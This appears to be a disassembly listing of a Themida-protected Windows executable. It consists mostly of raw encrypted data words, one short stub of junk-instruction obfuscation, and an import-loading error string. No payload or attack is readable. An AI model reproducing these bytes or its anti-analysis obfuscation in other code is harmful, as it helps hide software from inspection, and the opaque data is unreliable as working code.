		dd 22CF0208h, 0A657848Eh, 2ECF000Ah, 8E68E982h,	0E905F12Bh
		dd 0FFF9524Ah, 2C25B85Dh, 0C50305F1h, 5E8h, 0AEC08200h
		dd 0BD03341Fh, 5EA0ED1h, 0FE8B6658h, 6A04C081h,	0F600000h
		dd 38Eh, 0DCC08000h, 15BD8B50h,	5A05EA29h, 1A4C6861h, 0CBBB0000h
		dd 592106F9h, 30FFDE8Ah, 0BE8h,	24F49C00h, 0B7E2348Ch
		dd 0C661414Eh, 3258531h, 5E5B05EAh, 22840Fh, 12E80000h
		dd 4E000000h, 577D4FAFh, 446FF16h, 900E1D33h, 2668DCE9h
		dd 5E99Ch, 58EA0000h, 5AA473CEh, 4F76EE81h, 9D891944h
		dd 5EA05ADh, 0DE05EE81h, 0DA8000E4h, 0BAC681A0h, 0F110592h
		dd 68Dh, 258D8900h, 5605EA00h, 8F83EF80h, 6880F00h, 31000000h
		dd 0EA061DBDh, 3CE88105h, 0BF137B8Eh, 54BDF666h, 8E38C081h
		dd 8166137Bh, 8124E3EAh, 1E9h, 63850F00h, 8BFFFFFFh, 0EA10A9BDh
		dd 0F704EB05h, 0E904CCF9h, 0CFAh, 0F12F3468h, 5150E905h
		dd 368FFF9h, 0E905F130h, 0FFF95146h, 0F130C568h, 513CE905h
		dd 7568FFF9h, 0E905F131h, 0FFF95132h, 0F134CA68h, 5128E905h
		dd 0CD68FFF9h, 0E905F137h, 0FFF9511Eh, 0F138AF68h, 5114E905h
		dd 0C808FFF9h, 36B94317h, 0AA29D387h, 34A55F0Bh, 0A72BD185h
		dd 8706A0F4h, 8CD87BFFh, 7530076h, 8CD87FFDh, 652FF76h
		dd 0B88C3EACh, 0B1D4793h, 0ED6D2E87h, 6CE8E24Eh, 13669FCBh
		dd 1DA6144Ah, 0D012BC7Dh, 4BF4C87Ah, 0DF47116Ch, 97691FB3h
		dd 97116C4Ch, 141EB265h, 62EC74E6h, 0F630045Dh,	0D866369Ah
		dd 0BBF589ACh, 654C3C49h, 3CB82E23h, 0E1000000h, 5AFD039h
		dd 0C7ED2F2Ah, 0C186164h, 0CC1652BBh, 8ED0BC29h, 0BC70173Ch
		dd 0E4D8312h, 2FB7CC6Fh, 5D03F583h, 337D116Ch, 2EC4B4C1h
		dd 0F53B2E24h, 177BD786h, 23EDB4h, 39B40000h, 3A459FD0h
		dd 506DC264h, 0EA577A72h, 62BF1CF3h, 8A3h, 276A25CCh, 0DAC216B1h
		dd 298AE693h, 49E86D8Ch, 775BBE5h, 7E12BF36h, 0E792DBDDh
		dd 663F4AB3h, 0ED6CA238h, 4A95EF4Ch, 3D12BC75h,	897F09A5h
		dd 0F7116C53h, 0D4CC40A9h, 0F458FD72h, 0ED23B598h, 0C776E5EFh
		dd 0E6A4076Bh, 0EB9C7576h, 8C66E661h, 0EB9DD576h, 102E2417h
		dd 0CFCC44F9h, 97348AA2h, 2DCEh, 1B6E9700h, 0B5AE1C42h
		dd 4812BC48h, 360A7CD0h, 82116C38h, 3FDC12DCh, 37D9D361h
		dd 0B42C116Ch, 0DE275517h, 2E240A2Ah, 0B85Ah, 0E86D0300h
		dd 6BEFE549h, 0F43A64C8h, 7573D081h, 0F7FD5100h, 2987D37Eh
		dd 672B01B3h, 479E1756h, 9D5648C7h, 0A2016DABh,	5744C8D8h
		dd 22CF0617h, 0A8498C76h, 0E6DE6CF6h, 59175743h, 9CC262C1h
		dd 92C32F75h, 17B420CCh, 603E0712h, 0BCA525D2h,	0B63FF112h
		dd 3458FF7Dh, 2C57F498h, 1019E0B4h, 0B2D96B35h,	450CD0E6h
		dd 0D4D83DDh, 92C03A6Eh, 465AD2E1h, 6AEE829h, 0A4BD7h
		dd 60175900h, 0D489CE34h, 44F97A80h, 0CA67EA10h, 45F6649Eh
		dd 4C36B711h, 0C3396D0Eh, 46BCE88Bh, 0CF356116h, 15BFEB86h
		dd 963F3587h, 3EB21D47h, 4EED6D97h, 0AA6DE01Ah,	4E1A7623h
		dd 421B6E17h, 0FE9BD21Ch, 0A6BD0F5Dh, 5912BC48h, 251B6DC1h
		dd 93116C38h, 678624CDh, 9C657A6Bh, 0C60F7D3Fh,	2E23EC32h
		dd 0B942h, 0A3391B00h, 6D2AF4Ah, 5127A357h, 1756FD5Bh
		dd 732450AEh, 7CDFB3DFh, 0EA46F37Ah, 6DC172E0h,	56F9051Bh
		dd 175F9117h, 7A4C864h,	792DCC01h, 3AF4A83h, 7826FF0Ah
		dd 0BCFD3DCAh, 3C68F012h, 0B7E9B4C5h, 0D1400F05h, 643AA20Ch
		dd 0D921F28Dh, 40E3AA27h, 0FD9EDC12h, 7C1F53A9h, 28D7014Fh
		dd 7CAD05E8h, 97Ch, 6135EA6Eh, 0F5A1549Bh, 7D29CC0Fh, 0F3A75287h
		dd 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h,	548B2E6h
		dd 38AA0054h, 4796B28Ah, 2089051Dh, 1B11A339h, 47175667h
		dd 5666FFF5h, 9DEA7217h, 0CEB96344h, 0ABC76337h, 2FCC0E08h
		dd 0AD4C817Bh, 0E86DA0F9h, 66F3C97Bh, 0DE461756h, 0E1141EB2h
		dd 50CA6430h, 56670AE2h, 46E57D17h, 0BB759909h,	26238033h
		dd 0E6540AD3h, 12BC7D4Dh, 0D862B820h, 0B8A93C8Dh, 702EF702h
		dd 0CFA61C2h, 0E04CD463h, 9BC5A0E9h, 0DA8BCF01h, 0BCF89468h
		dd 137FE761h, 5A96CAB0h, 31A95D22h, 8D2CA16Fh, 69AA23D9h
		dd 114349E8h, 0D531026Eh, 6197D9B2h, 8BA18C9h, 28A80000h
		dd 96D92377h, 0A49B3E7h, 94C53F6Bh, 74BB1E5h, 27A60054h
		dd 2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh, 0A6F29FD6h, 582C9E0Ch
		dd 0AB1D4797h, 0E86D8E27h, 75BBE549h, 96FA5605h, 1CE93035h
		dd 5467F042h, 70DA12BCh, 6C33EAC2h, 0A9C55D11h,	4BB39F7h
		dd 132AAA50h, 6DDA7EDAh, 99BFF1B3h, 1F5359F5h, 0D07C107Ch
		dd 6C44CEA6h, 8FC60811h, 81224EE2h, 6C5505FBh, 2AF30611h
		dd 0AE20EE74h, 7BD4AE0Dh, 8E0CD224h, 7EE4BA16h,	45E56E4h
		dd 49D10B82h, 8204453Fh, 8320B80Bh, 0B3E05085h,	0A5721E40h
		dd 345761Ah, 1BE826E0h,	80A62B3h, 0D8180000h, 46897327h
		dd 0BA39C397h, 44B54F1Bh, 0B73BC195h, 77F65004h, 7C28CB0Fh
		dd 0F7A35086h, 7C28CF0Dh, 0F6A24F86h, 887CCE5Ch, 0FB1D4798h
		dd 1B6EDE77h, 9DD21C42h, 9B3854F8h, 571C7BC9h, 0C80612BCh
		dd 2B47EB8Ch, 0CC0DF388h, 0D37A7E6Ch, 660A4C00h
		dd 2BACA60Ah, 0B324DE8Ah, 6AF0AE02h, 6C0AE4D8h,	6CCF5711h
		dd 1D432669h, 6C0ADDAFh, 7FF73911h, 0BF1C70DCh,	0CC025CC4h
		dd 0EE4EED8Eh, 0AEF910BEh, 0FF9D2599h, 0A0CC8E2Dh, 7521D41Bh
		dd 6C40FDF3h, 63975911h, 413C3082h, 178F116Ch, 0D2DDD87Bh
		dd 0D7BB5A99h, 60134789h, 3C3CE1CCh, 4C1EBA87h,	63D18320h
		dd 116BB6A5h, 0EE1440D8h, 24EAB469h, 0C2AE02B3h, 89B7C161h
		dd 1B116BB5h, 0FA3437A5h, 1B77DB78h, 8439BEB8h,	0F0A52AD0h
		dd 0B5862A5Ch, 0E05E116Bh, 0DB02774h, 0FF5D9D53h, 0B68B1200h
		dd 973458CFh, 49FB61CFh, 116C6173h, 5B638C6h, 0C0CFCA69h
		dd 3205B7E9h, 0AC116C61h, 0C0DA7945h, 11A31649h, 116BA81Bh
		dd 399AF66Eh, 2876DA42h, 6AC673E6h, 40DFA506h, 0F85D4C44h
		dd 0CC2546B6h, 0D71BFF9Dh, 0C9E48824h, 0A201E7E9h, 0C1731EEAh
		dd 4DFF65B9h, 9D099577h, 0A8F152CAh, 185h, 421B6EF1h, 6125AE1Ch
		dd 40D812BCh, 0FC9DD01Eh, 7E1B52A8h, 0C736A4D2h, 0B7BD8A26h
		dd 52FF7645h, 0D879FC06h, 5F327D74h, 0D180F10Bh, 53FE777Dh
		dd 0BF78FD07h, 45E98538h, 0B33FF21Bh, 0D6D47F5h, 58C08A26h
		dd 7BA55775h, 0FF530271h, 284A3093h, 6AD8ACAFh,	0B59834E9h
		dd 0CCFD130Eh, 0D7040ED8h, 6C228A26h, 0D8D2DD00h, 0CB66EFACh
		dd 7CFF319Fh, 0BA1975D9h, 349839BCh, 411FF23Dh,	9B75F9F3h
		dd 80D44C17h, 0F75BF87Ah, 86D8B1FEh, 9B763C34h,	43178F17h
		dd 6FE334B9h, 600C60CCh, 195C92CCh, 923EDB1Eh, 373192FEh
		dd 0F0D51C3h, 0F3AE4FB4h, 0DD63339Fh, 0B465E8AFh, 40D31AE0h
		dd 0A00C6011h, 6FC266A9h, 0ECC536C0h, 0A3992B75h, 16179BE3h
		dd 0EBCE28Eh, 179BE42Eh, 0B74D1981h, 0D281F53Eh, 0DC1812BEh
		dd 3AA8A7Ah, 167A2E90h,	225210BAh, 0E5B16095h, 6D6FA24Bh
		dd 5434A4B6h, 6DD3E679h, 8E2D218Dh, 38944588h, 451BEE31h
		dd 9B7EF1F7h, 82DC4417h, 7ED2AA18h, 0BD25179Bh,	1E8461Eh
		dd 0C7C1DCFAh, 3336205h, 40D7489Ah, 0ECC0722Ch,	5F179B71h
		dd 0F26264C7h, 71BFE14Dh, 9EF25EFDh, 12F7383Dh,	0E34F824Ch
		dd 769C9E35h, 0DA761AA8h, 0DD4715B6h, 0A3785E34h, 6DF0B029h
		dd 8CB8958Eh, 91905E8h,	363BAAA0h, 9983F95Ah, 0EC179B98h
		dd 9800F446h, 8D73179Bh, 6905A948h, 933D6905h, 0DC7F1E5Dh
		dd 49E86D79h, 0C895E41Dh, 3165896h, 48422ED1h, 0A7F55607h
		dd 0BC6DBA15h, 0CC7EE412h, 116C5AF8h, 0B70D34Bh, 5B1913A1h
		dd 0F46C116Ch, 0CC08C698h, 32BB752Bh, 0D27C2487h, 165FDA1Ch
		dd 0D7BBD77Bh, 0B2B4177Bh, 0DC39D42h, 2D8D2ECDh, 5608D524h
		dd 0D2487BE4h, 0FA56CE0Ch, 8237BC8Ch, 65E8260Bh, 0D77418B4h
		dd 0A0FEC7D2h, 0E807B512h, 0FC50C806h, 0E1D27FF6h, 0EE1113B1h
		dd 0B5BC6DC5h, 0A7000004h, 20DA8E31h, 0A05A0EAFh, 2CD68233h
		dd 0A2580CADh, 71D78330h, 9340B2F0h, 1AB93DC7h,	9748B44Eh
		dd 5B439C3h, 0DB69FB51h, 1D479AE1h, 6E71D854h, 861C421Bh
		dd 56674034h, 882BB317h, 654768DAh, 903A12BCh, 6C654A22h
		dd 0EE8FC011h, 0ED5F0199h, 116C6517h, 329EF26Ah, 6C657344h
		dd 9B36BB11h, 0B9231A37h, 34219CAAh, 0B418BD3Eh, 0B222521Ch
		dd 480207BBh, 7C10C8h, 21D71E4Eh, 6D2E234Ch, 9Dh, 672F1134h
		dd 0F7591756h, 91C574F9h, 1D17A53Fh, 90175667h,	66B4883Ah
		dd 9F071756h, 505550F3h, 3BA13B65h, 5666B389h, 949E0617h
		dd 6913B061h, 1756678Bh, 27D619D7h, 0CB67FF84h,	468B8CC1h
		dd 3D93C7ABh, 0F5D87BF3h, 22CFBF7Ch, 1217B4DEh,	0D6643A13h
		dd 1756F3D6h, 171DB129h, 9E6733DEh, 7AE0BE97h, 3B9748B4h
		dd 0DA8EF457h, 0C41756F3h, 892AC70Ah, 0B0C66AF2h, 1756B2C0h
		dd 7E3AAA14h, 9A005E37h, 0DD712254h, 0B86812B1h, 0CB1756B3h
		dd 91C30D53h, 34154DEEh, 0DFh, 421B6E6Dh, 5885F51Ch, 67FBB74h
		dd 517C10ECh, 0A3D1F04Bh, 503C50FCh, 0B413A1F3h, 0EE12BD3Eh
		dd 0A20EAF20h, 8E166DCEh, 0F5A62822h, 715858A1h, 1DA39D2Fh
		dd 8E16116Dh, 51295422h, 9DD3E2C0h, 54E67C6Fh, 116D1E60h
		dd 0A1664BD3h, 0C39908F3h, 0EE9AD271h, 1E2E24B6h, 83h
		dd 4F226E47h, 0FB96DF11h, 79900A58h, 0B7789791h, 8AF0531Eh
		dd 1756A3B2h, 3B319D05h, 0C45E00B3h, 56A47E76h,	8528F117h
		dd 852B6CBAh, 5008ABC7h, 73E467A9h, 3EF0AEC2h, 0DEB21EBBh
		dd 0DB9D2F7Dh, 0AE175721h, 35A66836h, 0F5832380h, 1756E103h
		dd 0BD11C40Bh, 3B9742B7h, 7CA1D391h, 5662922Ch,	0A339674Ah
		dd 56E11B11h, 55F66E17h, 0E0F3B507h, 38C61756h,	0A2A804B5h
		dd 88E4882Dh, 24D518D6h, 6D86DF87h, 0F3C97BE8h,	46175666h
		dd 67665EECh, 41D91756h, 0E7ED412Dh, 8037A56Eh,	3841B8ECh
		dd 79FD336Dh, 0B12B79DAh, 0E645F87Fh, 0BC75539Ch, 12BE2612h
		dd 6C539464h, 0E6549A11h, 5C5B78F2h, 76DAB684h,	0D006795Bh
		dd 0D7DD9B35h, 7A72C0A5h, 0CD116C35h, 9F953955h, 0C39DB95Ch
		dd 4E106C91h, 2A15280h,	3FC91440h, 4F2E240Bh, 29h, 421B6E16h
		dd 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0DC82116Ch, 0EDB8335h
		dd 45E63B16h, 88D507h, 0C2E23AAh, 0A7h,	49E86D55h, 0E796D917h
		dd 2484274Bh, 564EAC2Eh, 0C197E744h, 0EDE74B27h, 7E97C968h
		dd 0B0858E34h, 59F95A02h, 2B7F1A53h, 56B7BBADh,	1FBA3317h
		dd 9D3CB14Bh, 14F13831h, 0B25FF84Ah, 8A1212BCh,	0BD227DEh
		dd 235E755h, 90080CD1h,	60D200CEh, 0F3F6F62Bh, 0FA361B76h
		dd 4737C3C2h, 1DE7B3DFh, 0E70D3EDDh, 3FE828F5h,	1B24697h
		dd 30A00000h, 0AE21DB8Fh, 32A15B0Fh, 0AC2DD783h, 2FA3590Dh
		dd 0FF7ED88Ch, 0F4A05387h, 7F2BC80Eh, 0F4A05785h, 7E2AC70Eh
		dd 0F446D4h, 731D479Eh,	0ED6D56FFh, 6DE01A4Eh, 6EC198CCh
		dd 0D21C421Bh, 7BF2F89Dh, 9D2F7DDEh, 12BC4886h,	530DA139h
		dd 38817BC9h, 6CF4116Ch, 37C3B5CFh, 733D116Ch, 0A04F401h
		dd 0B7702E24h, 29000000h, 0AA2FE86Dh, 22220Fh, 722C988Bh
		dd 22ECB21Eh, 0C8A408ADh, 4EED6D6Bh, 4983F910h,	0A70BAA29h
		dd 0AD5BE6CBh, 1660C063h, 17570F02h, 80D485C8h,	0B320F37Ah
		dd 38A4AE02h, 2B87EB87h, 500ED722h, 0BD0965E2h,	0D4801812h
		dd 5F01DC2Dh, 17ED5FC5h, 6A116D07h, 0A8E3DFF2h,	13BE96Ah
		dd 0EEABD8A2h, 0C65E0CD0h, 77245698h, 0FA99D923h, 293CB5C9h
		dd 8859F1E8h, 0D0h, 0BDE98EC2h,	396D1047h, 0B9ED90C3h
		dd 37630E43h, 0BAEE8DCDh, 71E19D1Ch, 0EA6C96C2h, 75E71D49h
		dd 0E96C96C2h, 24B61C48h, 479E9E96h, 349D111Dh,	1A4EED6Dh
		dd 92CC6DE0h, 0DB78195Ch, 0F739DA83h, 1C70DC7Fh, 8534B9BFh
		dd 0FAA2329h, 0DD6FF55Bh, 175666E7h, 0C1EFC25Ah, 354A84Eh
		dd 4F5A5FFCh, 0A5A55237h, 0A66B3D4h, 3600E654h,	0D74F12A8h
		dd 5DFC717Bh, 0DF7AF309h, 62BE0573h, 8389107Bh,	9DD01E51h
		dd 9F3C50FCh, 8AC35499h, 432F43EFh, 0FF77B917h,	3F9CF05Ch
		dd 5B05B439h, 9ED06595h, 513D51FDh, 923291FDh, 14B85998h
		dd 0D8AFA44h, 0F8F268C8h, 7710875Fh, 40B54F1Bh,	0AD633D91h
		dd 0CF6CEE2Fh, 0C0630F63h, 31Dh, 0A5084400h, 9834EB6Dh
		dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh
		dd 8E22CF02h, 0AA65784h, 822ECF00h, 494F68E9h, 1C890000h
		dd 73806824h, 2C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 10EC5DCBh
		push	ecx
		mov	ecx, 151D70AEh
		mov	ebp, ecx
		pop	ecx
		xor	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		mov	[ecx], ebp
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dw 3544h
		dd 600CFAC2h, 750940F5h, 0A4B84FDEh, 305F139h, 1FE0FFC5h
		dd 974D8731h, 310939A1h, 0F2724FAFh, 0EC6D17DEh, 81575523h
		dd 386B66FCh, 0A0768924h, 0E95B6241h, 127h, 73765B50h
		dd 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0FB8F96A6h
		dd 1137FF75h, 35B11C13h, 41D83B83h, 722B6166h, 0A9F29E35h
		dd 88321177h, 494B90EFh, 0BFBF108Ch, 14DEC893h,	0D069C699h
		dd 6AD7A8E5h, 5632108Ch, 0A9614571h, 88321177h,	494B90EFh
		dd 0BFBF108Ch, 14DECF82h, 0D069C699h, 0F9B1D5EDh, 27C32FF0h
		dd 1B61A66h, 5321566h, 0B51B76E3h, 0AFE2EA63h, 0E01B86E3h
		dd 4EE2EA63h, 0AE2850E3h, 705A4363h, 0EEAEBDDEh, 621198D3h
		dd 0E4B79863h, 0DD37F8C9h, 0CB79CB6h, 537FF64h,	0B50973E3h
		dd 0A7BF4563h, 14C32F21h, 55A7EA36h, 8337FF6Ah,	0C82FA8E3h
		dd 11321563h, 0CDB7D366h, 137FF7Ch, 505B7C0Eh, 5487EAE8h
		dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0FB1E50E3h, 0CDB7D363h
		dd 737FF7Ch, 45594B0Eh,	5487EAFAh, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0E0086BE3h, 0CDB7D363h, 1037FF7Ch, 405A3C0Eh
		dd 5487EA88h, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E00897E3h
		dd 0CDB7D363h, 137FF7Ch
		db 0Eh
byte_5B46E9	db 0D7h, 0Ah, 42h	; DATA XREF: Themida_:0054D2E0o
		dd 5487EABCh, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E00893E3h
		dd 598F9663h, 4437FF64h, 22779069h, 94F41566h, 8DD80F23h
		dd 3AB47D23h, 97CDEF46h, 14D80823h, 0B15B90EBh,	94CD108Ch
		dd 18B890EFh, 94F41097h, 8DD80F23h, 94F17D2Ah, 97CDF540h
		dd 14D80823h, 0B15B90EBh, 94CD108Ch, 18BC90EFh,	51DB1097h
		dd 4E321566h, 0AE2850E3h, 2F5A4763h, 0EE8E5F82h, 6221F4D3h
		dd 2DB79863h, 0DD37FF5Fh, 9BB79CB6h, 4E37E45Ch,	0AE2850E3h
		dd 6A5A4763h, 0EE94592Ch, 6221F4D3h, 2DB79863h,	0DD37FF5Fh
		dd 9FB79CB6h, 4E37E45Ch, 0AE2850E3h, 0C85A4763h, 0EECF57D2h
		dd 622F50D3h, 2DB79863h, 0DD37FF5Fh, 4CB79CB6h,	4E37FF6Ch
		dd 0AE2850E3h, 815A6263h, 0EEC182CEh, 622E98D3h, 2DB79863h
		dd 0DD37FF5Fh, 74B79CB6h, 4E37FF70h, 0AE2850E3h, 355A4763h
		dd 0EEB8C857h, 622F50D3h, 2DB79863h, 0DD37FF5Fh, 58B79CB6h
		dd 4E37FF61h, 0AE2850E3h, 1B5A4363h, 0EEE60A0Bh, 621198D3h
		dd 0E4B79863h, 0DD37F8C9h, 0A0B79CB6h, 4E37FF6Fh, 0AE2850E3h
		dd 585A5263h, 0EEB3C976h, 622F50D3h, 2DB79863h,	0DD37FF5Fh
		dd 0CCB79CB6h, 4E37FF64h, 0AE2850E3h, 0C05A5263h, 0EEB81AD3h
		dd 622F50D3h, 2DB79863h, 0DD37FF5Fh, 0BFB79CB6h, 0B37E45Ch
		dd 0AE30A0DBh, 0A63D1563h, 11321337h, 927790A0h, 2C7E108Ch
		dd 0FBE8098Fh, 0C77A099h, 0DBF108Ch, 41D82C0Fh,	0A7BBC599h
		dd 14C32FFCh, 927790A0h, 2C7E108Ch, 0FF46CBA8h,	0C77A099h
		dd 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FF8h,	927790A0h
		dd 2C7E108Ch, 95B39759h, 0C77A099h, 0DBF108Ch, 41D82C0Fh
		dd 0A7BBC599h, 14C32FC4h, 927790A0h, 2C7E108Ch,	911D557Eh
		dd 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h,	14C32FC4h
		dd 927790A0h, 2C74108Ch, 98EC1372h, 0C77A099h, 0DBF108Ch
		dd 41D82C0Fh, 0A7BBC599h, 14C32FCCh, 927790A0h,	2C75108Ch
		dd 0A3EE051Ch, 0C77A099h, 0DBF108Ch, 41D82C0Fh,	0A7BBC599h
		dd 14C32FD4h, 927790A0h, 2C75108Ch, 0CDB59BCAh,	0C77A099h
		dd 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FD0h,	927790A0h
		dd 2C75108Ch, 0F6A8B2B4h, 0C77A099h, 0DBF108Ch,	41D82C0Fh
		dd 0A7BBC599h, 14C32FDCh, 927790A0h, 2C75108Ch,	98F32C62h
		dd 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h,	14C32FD8h
		dd 0A87BA8E5h, 3132108Ch, 67B7D346h, 5637FF7Ch,	0FA1F720Eh
		dd 187EA86h, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h, 0B508D7E3h
		dd 67B7D363h, 5637FF7Ch, 0A181A40Eh, 187EAE8h, 0AF37FF7Bh
		dd 0FB0B7CE3h, 1E2EA63h, 0B508D3E3h, 67B7D363h,	5237FF7Ch
		dd 0FE78B20Eh, 187EAA6h, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h
		dd 0B508DFE3h, 67B7D363h, 5D37FF7Ch, 0EE5EFE0Eh, 0C987EA9Dh
		dd 0AF37FF7Ah, 0FB0B7CE3h, 1E2EA63h, 0B5094BE3h, 67B7D363h
		dd 5537FF7Ch, 0FBBC400Eh, 187EADDh, 0AF37FF7Bh,	0FB0B7CE3h
		dd 1E2EA63h, 0B508DBE3h, 67B7D363h, 5237FF7Ch, 65CE90Eh
		dd 187EADAh, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h, 0B508C7E3h
		dd 67B7D363h, 4237FF7Ch, 980CBF0Eh, 187EAA0h, 0AF37FF7Bh
		dd 0FB0B7CE3h, 1E2EA63h, 0B508C3E3h, 178F9663h,	1137FF46h
		dd 88D29169h, 0C1F41566h, 27D80F23h, 0DF037D20h, 3DCDEFF0h
		dd 41D80823h, 1B5B90EBh, 0C1CD108Ch, 0B30090EFh, 0C1F41097h
		dd 27D80F23h, 2BE47D20h, 3DCDE9C1h, 41D80823h, 1B5B90EBh
		dd 0C1CD108Ch, 0B37090EFh, 0C1F41097h, 27D80F23h, 0B5327D20h
		dd 3DCD879Ah, 41D80823h, 1B5B90EBh, 0C1CD108Ch,	0B37490EFh
		dd 0C1F41097h, 27D80F23h, 5E587D20h, 3DCDE3B2h,	41D80823h
		dd 1B5B90EBh, 0C1CD108Ch, 0B37890EFh, 0C1F41097h, 27D80F23h
		dd 41D57D20h, 3DCD81ABh, 41D80823h, 1B5B90EBh, 0C1CD108Ch
		dd 0B30490EFh, 0C1F41097h, 27D80F23h, 65097D20h, 3DCDA444h
		dd 41D80823h, 1B5B90EBh, 0C1CD108Ch, 0B30890EFh, 0C1F41097h
		dd 27D80F23h, 0FBDF7D20h, 3DCDCA1Fh, 41D80823h,	1B5B90EBh
		dd 0C1CD108Ch, 0B30C90EFh, 0F9B11097h, 27D8352Fh, 0D7126066h
		dd 622850E3h, 1A5A4663h, 0DDFCAB86h, 0FB2F50D3h, 0E1B79863h
		dd 0BB37FF5Fh, 0F8B79CB6h, 0D737E45Ch, 622850E3h, 0C35A5263h
		dd 0DDF5A438h, 0FB2F50D3h, 0E1B79863h, 0BB37FF5Fh, 0FCB79CB6h
		dd 9237E45Ch, 62125CDBh, 64471563h, 387790A0h, 7975108Ch
		dd 6E506B63h, 5977A099h, 0A7BF108Ch, 14D82C0Fh,	0DBBC599h
		dd 41C32F84h, 387790A0h, 7971108Ch, 1A481C90h, 5977A099h
		dd 0A7BF108Ch, 14D82C0Fh, 0DBBC599h, 41C32F80h,	387790A0h
		dd 7971108Ch, 74138246h, 5977A099h, 0A7BF108Ch,	14D82C0Fh
		dd 0DBBC599h, 41C32F8Ch, 27BA8E5h, 6432108Ch, 0CDB7D326h
		dd 737FF7Ch, 229A160Eh,	5487EAEDh, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0E008E7E3h, 0CDB7D363h, 737FF7Ch, 7904C00Eh
		dd 5487EA83h, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E008FBE3h
		dd 0CDB7D363h, 737FF7Ch, 8800F40Eh, 5487EA8Ch, 537FF7Bh
		dd 0AE0B7CE3h, 0ABE2EA63h, 0E008E3E3h, 0CDB7D363h, 737FF7Ch
		dd 0D39E220Eh, 5487EAE2h, 537FF7Bh, 0AE0B7CE3h,	0ABE2EA63h
		dd 0E008EFE3h, 0CDB7D363h, 0B37FF7Ch, 17A2C10Eh, 5487EAF1h
		dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E008EBE3h, 0CDB7D363h
		dd 0B37FF7Ch, 4C3C170Eh, 5487EA9Fh, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0E00917E3h, 0CDB7D363h, 937FF7Ch, 154B5C0Eh
		dd 5487EAAEh, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E0091FE3h
		dd 0CDB7D363h, 937FF7Ch, 0D57F9C0Eh, 5487EABAh,	537FF7Bh
		dd 0AE0B7CE3h, 0ABE2EA63h, 0E00913E3h, 0CDB7D363h, 1137FF7Ch
		dd 391F220Eh, 5487EAFAh, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h
		dd 0E0091BE3h, 0CDB7D363h, 737FF7Ch, 0F7C23F0Eh, 5487EAB4h
		dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00907E3h, 0CDB7D363h
		dd 1637FF7Ch, 6086FF0Eh, 5487EA9Bh, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0FB3848E3h, 0CDB7D363h, 337FF7Ch, 0BA6B8C0Eh
		dd 5487EA84h, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E00903E3h
		dd 0CDB7D363h, 337FF7Ch, 0DF52D70Eh, 5487EAD7h,	537FF7Bh
		dd 0AE0B7CE3h, 0ABE2EA63h, 0E0090FE3h, 0CDB7D363h, 337FF7Ch
		dd 84CC010Eh, 5487EAB9h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h
		dd 0E0090BE3h, 0CDB7D363h, 1B37FF7Ch, 72C07D0Eh, 5487EAF8h
		dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00937E3h, 0CDB7D363h
		dd 0B37FF7Ch, 0DE492A0Eh, 5487EAA1h, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0E0095BE3h, 0CDB7D363h, 337FF7Ch, 795C590Eh
		dd 5487EA9Ch, 537FF7Bh,	0AE0B7CE3h, 0ABE2EA63h,	0E00947E3h
		dd 0CDB7D363h, 337FF7Ch, 2416D80Eh, 5487EAA5h, 537FF7Bh
		dd 0AE0B7CE3h, 0ABE2EA63h, 0E00943E3h, 0CDB7D363h, 1B37FF7Ch
		dd 9952D90Eh, 5487EAB2h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h
		dd 0E00933E3h, 0CDB7D363h, 1B37FF7Ch, 0CB665B0Eh, 5487EAF8h
		dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E0093FE3h, 0CDB7D363h
		dd 1B37FF7Ch, 311A5D0Eh, 5487EAB7h, 537FF7Bh, 0AE0B7CE3h
		dd 0ABE2EA63h, 0E0093BE3h, 0E0367F63h, 44320566h, 2222150Eh
		dd 0EE327F66h, 623008F3h, 5B79C63h, 0AF37FF49h,	0E02EF2E3h
		dd 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h,	95A7EA66h
		dd 0CD37FF64h, 0C82634E3h
